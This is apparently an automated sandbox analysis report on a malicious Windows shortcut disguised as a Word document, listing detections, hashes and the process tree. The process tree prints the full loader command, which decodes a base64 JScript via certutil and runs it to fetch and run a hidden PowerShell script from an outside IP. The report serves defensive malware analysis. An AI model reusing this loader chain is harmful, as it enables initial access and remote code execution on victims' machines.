Analysis

  • max time kernel
    299s
  • max time network
    4s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/07/2026, 04:31

General

  • Target
    form_c.docx.lnk
  • Size 72KB
  • Sample260715-e5hmcsev7s
  • SHA256 76951b19b300a78e26d5b5f592f69ebacdf651bce90beedbf3c4d570a38ef5f3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\form_c.docx.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4396
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzg5LjEwNi44My40MC9TdW1tL2NvbWJhdHBlbi5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs= > GV.b64 && certutil -decode GV.b64 Sqpf.js >nul && wscript //b Sqpf.js && del GV.b64 Sqpf.js"
      2⤵
      • Deobfuscate/Decode Files or Information
      • Suspicious use of WriteProcessMemory
      PID:2132
      • C:\Windows\system32\certutil.exe
        certutil -decode GV.b64 Sqpf.js
        3⤵
        • Deobfuscate/Decode Files or Information
        PID:5432
      • C:\Windows\system32\wscript.exe
        wscript //b Sqpf.js
        3⤵
        • Badlisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:4384
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at 89.106.83.40 Port 80</address> </body></html>
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4136

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        GV.b64

        • Path C:\Users\Admin\AppData\Local\Temp\GV.b64
        • Size 400B
        • SHA256 cdf821754530552b4b82a6eec71cb818eceb3094763b8ad8ff660dd6db193303
        • MD5 SHA1 SHA512 TLSH

        Sqpf.js

        • Path C:\Users\Admin\AppData\Local\Temp\Sqpf.js
        • Size 296B
        • SHA256 56eff7b21dc562d45db416f38d147735b11982768f4e25fbf6000fdb277f7ee2
        • MD5 SHA1 SHA512 TLSH

        memory/4136-6-0x000002E8E15F0000-0x000002E8E1612000-memory.dmp